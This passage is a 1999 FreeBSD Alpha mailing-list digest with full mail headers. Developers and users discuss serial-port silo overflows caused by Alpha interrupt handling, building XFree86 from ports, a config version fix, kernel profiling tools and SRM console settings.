reg,n($sp) */ > && (word & 0xffff0000) != 0xb7fe0000) /* reg != $zero */ > { This fix isn't correct. You get the wrong function and literal. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 18:21:23 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id A6B0914F9F for ; Tue, 20 Apr 1999 18:21:20 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from pdx.cybcon.com (wwoods@pdx.cybcon.com [205.147.64.44]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id SAA23859 for ; Tue, 20 Apr 1999 18:18:53 -0700 (PDT) Date: Tue, 20 Apr 1999 18:18:52 -0700 (PDT) From: Bill Woods To: alpha@freebsd.org Subject: Building Xfree on an Alpha Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org are there any secrets to building an alpha from the ports collection on an Alpha? Mine keeps getting dependancy missing errors, then eventually fails. William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 18:41:33 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 60F3614FE3 for ; Tue, 20 Apr 1999 18:41:31 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id UAA21046; Tue, 20 Apr 1999 20:39:02 -0500 (CDT) Date: Tue, 20 Apr 1999 20:39:02 -0500 (CDT) From: Steve Price To: Bill Woods Cc: alpha@FreeBSD.ORG Subject: Re: Building Xfree on an Alpha In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org For now you can look here: http://www.freebsd.org/~dfr/ Hopefully in the next day or two I will get this merged into the port. -steve On Tue, 20 Apr 1999, Bill Woods wrote: # # are there any secrets to building an alpha from the ports collection on an # Alpha? Mine keeps getting dependancy missing errors, then eventually # fails. # # William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 23:58:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 98C3014DE1 for ; Tue, 20 Apr 1999 23:58:35 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id XAA13425; Tue, 20 Apr 1999 23:55:58 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Doug Rabson Cc: "Alain G. Fabry" , freebsd-alpha@FreeBSD.ORG Subject: Re: panic: ffs_valloc: dup alloc In-reply-to: Your message of "Tue, 20 Apr 1999 22:56:47 BST." Date: Tue, 20 Apr 1999 23:55:58 -0700 Message-ID: <13423.924677758@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > As to the panic, I'm stumped. Has anyone else successfully installed this > snapshot? Not that one, but I did just recently install 4.0-19990413-CURRENT from ftp.freebsd.org and it worked just fine (though the alpha etc/ stuff is out of date and still references lkms, but that's more cosmetic than fatal). - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 0: 5: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id F09471506C for ; Wed, 21 Apr 1999 00:05:04 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-2.cybcon.com [205.147.76.3]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id AAA13255; Wed, 21 Apr 1999 00:02:13 -0700 (PDT) From: "William Woods" To: "Jordan K. Hubbard" , "Doug Rabson" Cc: "Alain G. Fabry" , Subject: External modems on Alpha..... Date: Wed, 21 Apr 1999 00:02:01 -0700 Message-ID: <000001be8bc4$db028960$034c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <13423.924677758@zippy.cdrom.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK.....I am getting a crap load oF "silo overflows" when connected to the net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing this is a serial port problem, but am not sure. I have this modem attached to /dev/cuaa0 (com1). Is there some setting I need to set at the SRM console for the serial port or what? This is a Alpha 200 4/233, if that makes any difference. William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 1: 4:52 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 860A4152FC for ; Wed, 21 Apr 1999 01:04:48 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA97889; Wed, 21 Apr 1999 09:07:50 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 21 Apr 1999 09:07:49 +0100 (BST) From: Doug Rabson To: William Woods Cc: "Jordan K. Hubbard" , "Alain G. Fabry" , freebsd-alpha@FreeBSD.ORG Subject: Re: External modems on Alpha..... In-Reply-To: <000001be8bc4$db028960$034c93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 21 Apr 1999, William Woods wrote: > OK.....I am getting a crap load oF "silo overflows" when connected to the > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing this > is a serial port problem, but am not sure. I have this modem attached to > /dev/cuaa0 (com1). > > Is there some setting I need to set at the SRM console for the serial port > or what? > > This is a Alpha 200 4/233, if that makes any difference. This is because the alpha port doesn't currently support 'fast' interrupts which the i386 sio driver uses to be able to read characters from the port while the kernel thinks interrupts are disabled. I might add this support sometime but I'm too busy fighting other fires right now to think of it. One day, I would like to spend a decent amount of time profiling and tuning the alpha kernel... -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 6:51:45 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 6D99C14C39 for ; Wed, 21 Apr 1999 06:51:42 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id JAA29741; Wed, 21 Apr 1999 09:49:03 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id JAA36661; Wed, 21 Apr 1999 09:48:56 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Wed, 21 Apr 1999 09:48:55 -0400 (EDT) To: Doug Rabson Cc: William Woods , "Jordan K. Hubbard" , "Alain G. Fabry" , freebsd-alpha@FreeBSD.ORG Subject: Re: External modems on Alpha..... In-Reply-To: References: <000001be8bc4$db028960$034c93cd@william> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14109.54666.948509.293039@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Doug Rabson writes: > > One day, I would like to spend a decent amount of time profiling and > tuning the alpha kernel... > When you do, remember iprobe. It's stunningly useful for profiling. We profile all our code on alphas. I've got a small tutorial at:http://www.cs.duke.edu/ari/iprobe.html The code itself is at ftp://ftp.cs.duke.edu/pub/gallatin/freebsd_iprobe.tar.gz I'll eventually turn it into a real port when I figure out how the heck to handle its dependance on libbfd. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 8:11:16 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id 3DA8C14EA6 for ; Wed, 21 Apr 1999 08:11:14 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id IAA26011; Wed, 21 Apr 1999 08:06:57 -0700 (PDT) Message-Id: <199904211506.IAA26011@lestat.nas.nasa.gov> To: "William Woods" Cc: "Jordan K. Hubbard" , "Doug Rabson" , "Alain G. Fabry" , freebsd-alpha@FreeBSD.ORG Subject: Re: External modems on Alpha..... Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 21 Apr 1999 08:06:56 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 21 Apr 1999 00:02:01 -0700 "William Woods" wrote: > OK.....I am getting a crap load oF "silo overflows" when connected to the > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing this > is a serial port problem, but am not sure. I have this modem attached to > /dev/cuaa0 (com1). I doubt it's a serial port problem. It's more likely a problem of the FreeBSD kernel not reasonably coping witht he fact that all device interrupts come in at the same interrupt level on the Alpha (so network and disk controller interrupts block serial port reception). -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 8:26:50 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from spinner.netplex.com.au (spinner.netplex.com.au [202.12.86.3]) by hub.freebsd.org (Postfix) with ESMTP id 02DA71536D for ; Wed, 21 Apr 1999 08:26:45 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by spinner.netplex.com.au (Postfix) with ESMTP id 11EB11F2A; Wed, 21 Apr 1999 23:24:15 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.0.2 2/24/98 To: Jason Thorpe Cc: "William Woods" , "Jordan K. Hubbard" , "Doug Rabson" , "Alain G. Fabry" , freebsd-alpha@FreeBSD.ORG Subject: Re: External modems on Alpha..... In-reply-to: Your message of "Wed, 21 Apr 1999 08:06:56 MST." <199904211506.IAA26011@lestat.nas.nasa.gov> Date: Wed, 21 Apr 1999 23:24:15 +0800 From: Peter Wemm Message-Id: <19990421152417.11EB11F2A@spinner.netplex.com.au> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jason Thorpe wrote: > On Wed, 21 Apr 1999 00:02:01 -0700 > "William Woods" wrote: > > > OK.....I am getting a crap load oF "silo overflows" when connected to the > > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing th is > > is a serial port problem, but am not sure. I have this modem attached to > > /dev/cuaa0 (com1). > > I doubt it's a serial port problem. It's more likely a problem of the FreeBS D > kernel not reasonably coping witht he fact that all device interrupts come > in at the same interrupt level on the Alpha (so network and disk controller > interrupts block serial port reception). I saw this yesterday and couldn't believe my eyes.. I wonder if it's possible to use a soft or lazy masking system like on the i386.. Can interrupts be individually masked if needed? Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 11:41:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 054C61584E for ; Wed, 21 Apr 1999 11:41:30 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id LAA28916 for ; Wed, 21 Apr 1999 11:38:54 -0700 Date: Wed, 21 Apr 1999 11:38:53 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: alpha@freebsd.org Subject: which version of config to use? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The new version of config 40013 or something... The version of config stated in Makefile.alpha is 30011.. Is alpha not ready for the new-config stuff? (puzzlement) -matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 12: 7:24 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 6D9BD1595F for ; Wed, 21 Apr 1999 12:05:06 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA98894; Wed, 21 Apr 1999 20:07:20 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 21 Apr 1999 20:07:20 +0100 (BST) From: Doug Rabson To: Jason Thorpe Cc: William Woods , "Jordan K. Hubbard" , "Alain G. Fabry" , freebsd-alpha@FreeBSD.ORG Subject: Re: External modems on Alpha..... In-Reply-To: <199904211506.IAA26011@lestat.nas.nasa.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 21 Apr 1999, Jason Thorpe wrote: > On Wed, 21 Apr 1999 00:02:01 -0700 > "William Woods" wrote: > > > OK.....I am getting a crap load oF "silo overflows" when connected to the > > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing this > > is a serial port problem, but am not sure. I have this modem attached to > > /dev/cuaa0 (com1). > > I doubt it's a serial port problem. It's more likely a problem of the FreeBSD > kernel not reasonably coping witht he fact that all device interrupts come > in at the same interrupt level on the Alpha (so network and disk controller > interrupts block serial port reception). How does the NetBSD kernel cope with this problem on the alpha? I can't see anything obvious in my copy of the source but it is somewhat dated. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 12:21:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 084D015902 for ; Wed, 21 Apr 1999 12:21:52 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA98941; Wed, 21 Apr 1999 20:23:29 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 21 Apr 1999 20:23:29 +0100 (BST) From: Doug Rabson To: Peter Wemm Cc: Jason Thorpe , William Woods , "Jordan K. Hubbard" , "Alain G. Fabry" , freebsd-alpha@freebsd.org Subject: Re: External modems on Alpha..... In-Reply-To: <19990421152417.11EB11F2A@spinner.netplex.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 21 Apr 1999, Peter Wemm wrote: > Jason Thorpe wrote: > > On Wed, 21 Apr 1999 00:02:01 -0700 > > "William Woods" wrote: > > > > > OK.....I am getting a crap load oF "silo overflows" when connected to the > > > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing th > is > > > is a serial port problem, but am not sure. I have this modem attached to > > > /dev/cuaa0 (com1). > > > > I doubt it's a serial port problem. It's more likely a problem of the FreeBS > D > > kernel not reasonably coping witht he fact that all device interrupts come > > in at the same interrupt level on the Alpha (so network and disk controller > > interrupts block serial port reception). > > I saw this yesterday and couldn't believe my eyes.. I wonder if it's > possible to use a soft or lazy masking system like on the i386.. Can > interrupts be individually masked if needed? Interrupts can be masked (there are generally different masks for isa and pci and the pci mask is platform independant). I haven't experimented with it much, so I'm not sure what the right approach to a lazy interrupt masking scheme would be. We have plenty of pointless code between the palcode signalling the interrupt and actual delivery to the driver so there is lots of scope for improvement before changing the algorithm. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 12:22: 4 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 2E3DB158E7 for ; Wed, 21 Apr 1999 12:21:45 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA98978; Wed, 21 Apr 1999 20:25:04 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 21 Apr 1999 20:25:04 +0100 (BST) From: Doug Rabson To: Matthew Jacob Cc: alpha@freebsd.org Subject: Re: which version of config to use? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 21 Apr 1999, Matthew Jacob wrote: > > The new version of config 40013 or something... The version of config > stated in Makefile.alpha is 30011.. Is alpha not ready for the new-config > stuff? > > (puzzlement) Everything should be ok. I just forgot to commit the tweak to Makefile.alpha. I'm doing it now. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 13:17: 0 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id DD480153E5; Wed, 21 Apr 1999 13:16:14 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id NAA29410; Wed, 21 Apr 1999 13:13:40 -0700 Date: Wed, 21 Apr 1999 13:13:39 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Doug Rabson Cc: alpha@FreeBSD.org Subject: Re: cvs commit: src/sys/alpha/conf Makefile.alpha In-Reply-To: <199904211950.MAA05628@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org guess that answers my lazy question On Wed, 21 Apr 1999, Doug Rabson wrote: > dfr 1999/04/21 12:50:27 PDT > > Modified files: > sys/alpha/conf Makefile.alpha > Log: > Update VERSREQ. > > Revision Changes Path > 1.22 +2 -2 src/sys/alpha/conf/Makefile.alpha > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 14: 7:27 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail2.panix.com (mail2.panix.com [166.84.0.213]) by hub.freebsd.org (Postfix) with ESMTP id E6E4B15951 for ; Wed, 21 Apr 1999 14:06:20 -0700 (PDT) (envelope-from tls@panix.com) Received: from panix7.panix.com (root@panix7.nyc.access.net [166.84.0.232]) by mail2.panix.com (8.8.8/8.8.8/PanixM1.3) with ESMTP id RAA19553; Wed, 21 Apr 1999 17:03:51 -0400 (EDT) Received: (from tls@localhost) by panix7.panix.com (8.8.8/8.7.1/PanixN1.0) id RAA09220; Wed, 21 Apr 1999 17:03:52 -0400 (EDT) Date: Wed, 21 Apr 1999 17:03:51 -0400 From: Thor Lancelot Simon To: Laine Stump Cc: port-alpha@netbsd.org, current-users@netbsd.org, netbsd-advocacy@netbsd.org, freebsd-alpha@freebsd.org Subject: Re: Thor and the PC 164 motherboards Message-ID: <19990421170351.A9166@rek.tjls.com> Reply-To: tls@rek.tjls.com References: <3.0.2.32.19990421165937.006b467c@mail.v-one.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <3.0.2.32.19990421165937.006b467c@mail.v-one.com>; from Laine Stump on Wed, Apr 21, 1999 at 04:59:37PM -0400 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Apr 21, 1999 at 04:59:37PM -0400, Laine Stump wrote: > I'm sending this message to port-alpha because I'm concerned that my email > to Thor isn't getting through (I used the address in the Cc above). Has > anyone else received notification from him about the Alpha motherboards? He > said to contact him if we didn't hear back by Tuesday night, which I did. > Still no replies. Is he really that swamped with requests, or has my email > been lost? > > Thanks, and sorry for the intrusion. Negotiations with the vendor have become somewhat more complicated than I was initially led to believe they would be. They still haven't given me a final price, and I of course can't tell people anything useful until they do. I'll send out some more mail on this tonight. -- Thor Lancelot Simon tls@rek.tjls.com "And where do all these highways go, now that we are free?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 14:54:29 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id C221615771 for ; Wed, 21 Apr 1999 14:54:24 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id OAA00432; Wed, 21 Apr 1999 14:50:17 -0700 (PDT) Message-Id: <199904212150.OAA00432@lestat.nas.nasa.gov> To: Doug Rabson Cc: William Woods , "Jordan K. Hubbard" , "Alain G. Fabry" , freebsd-alpha@FreeBSD.ORG Subject: Re: External modems on Alpha..... Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 21 Apr 1999 14:50:16 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 21 Apr 1999 20:07:20 +0100 (BST) Doug Rabson wrote: > How does the NetBSD kernel cope with this problem on the alpha? I can't > see anything obvious in my copy of the source but it is somewhat dated. We (NetBSD) don't deal too well with it, either. Although, our `com' driver seems to be less prone to this problem due it its structure. I've driven a serial port on an AlphaStation 200 at 56k before, no problem. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 15:18:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id A54A01593B for ; Wed, 21 Apr 1999 15:18:16 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id XAA99380; Wed, 21 Apr 1999 23:18:04 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Wed, 21 Apr 1999 23:18:04 +0100 (BST) From: Doug Rabson To: Jason Thorpe Cc: William Woods , "Jordan K. Hubbard" , "Alain G. Fabry" , freebsd-alpha@FreeBSD.ORG Subject: Re: External modems on Alpha..... In-Reply-To: <199904212150.OAA00432@lestat.nas.nasa.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 21 Apr 1999, Jason Thorpe wrote: > On Wed, 21 Apr 1999 20:07:20 +0100 (BST) > Doug Rabson wrote: > > > How does the NetBSD kernel cope with this problem on the alpha? I can't > > see anything obvious in my copy of the source but it is somewhat dated. > > We (NetBSD) don't deal too well with it, either. Although, our `com' driver > seems to be less prone to this problem due it its structure. I've driven > a serial port on an AlphaStation 200 at 56k before, no problem. Perhaps it might be worth trying to collaborate on a lazy masking interrupt scheme for *BSD/alpha in the future. At this level, the two systems are virtually identical (not surprising). Incidentally, you might also like to pick up the floating point software completion code from FreeBSD/alpha if you haven't already. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 15:25:53 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 5D36115942 for ; Wed, 21 Apr 1999 15:25:28 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-33.cybcon.com [205.147.76.34]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id PAA27595; Wed, 21 Apr 1999 15:22:46 -0700 (PDT) From: "William Woods" To: "Doug Rabson" , "Jason Thorpe" Cc: "Jordan K. Hubbard" , "Alain G. Fabry" , Subject: RE: External modems on Alpha..... Date: Wed, 21 Apr 1999 15:22:33 -0700 Message-ID: <000201be8c45$73d8e960$224c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I was playing around in the SRM console and I see these things: doing a "show con*" brings up this........ console graphics control_disfd enable control_idema enable control_irq11 scsi <<---- control_irq12 mouse <<---- control_scsi_term internal controlp on What interests me here is the "control_irq" lines. I notice there is no line for either com1 or com2. Now, I tries a "set control_irq4 com1" assuming that this would set irq4 to com1, but when I rebooted the setting was no longer there. I am going to experament with setting this, not rebooting and seeing if this takes care of any of the problems. If it does, I am going to assume that I have a dead internal battery, replace it and try again....what ya think, sound like n idea that might work? > -----Original Message----- > From: Doug Rabson [mailto:dfr@nlsystems.com] > Sent: Wednesday, April 21, 1999 3:18 PM > To: Jason Thorpe > Cc: William Woods; Jordan K. Hubbard; Alain G. Fabry; > freebsd-alpha@FreeBSD.ORG > Subject: Re: External modems on Alpha..... > > > On Wed, 21 Apr 1999, Jason Thorpe wrote: > > > On Wed, 21 Apr 1999 20:07:20 +0100 (BST) > > Doug Rabson wrote: > > > > > How does the NetBSD kernel cope with this problem on the > alpha? I can't > > > see anything obvious in my copy of the source but it is > somewhat dated. > > > > We (NetBSD) don't deal too well with it, either. Although, our > `com' driver > > seems to be less prone to this problem due it its structure. > I've driven > > a serial port on an AlphaStation 200 at 56k before, no problem. > > Perhaps it might be worth trying to collaborate on a lazy masking > interrupt scheme for *BSD/alpha in the future. At this level, the two > systems are virtually identical (not surprising). > > Incidentally, you might also like to pick up the floating point software > completion code from FreeBSD/alpha if you haven't already. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 21 15:44:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 77FD3152E8 for ; Wed, 21 Apr 1999 15:44:15 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-34.cybcon.com [205.147.76.35]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id PAA28673; Wed, 21 Apr 1999 15:41:39 -0700 (PDT) From: "William Woods" To: "Doug Rabson" , "Jason Thorpe" Cc: "Jordan K. Hubbard" , "Alain G. Fabry" , Subject: RE: External modems on Alpha..... Date: Wed, 21 Apr 1999 15:41:26 -0700 Message-ID: <000001be8c48$17560580$234c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Well, that diden't do it........back to square 1 > -----Original Message----- > 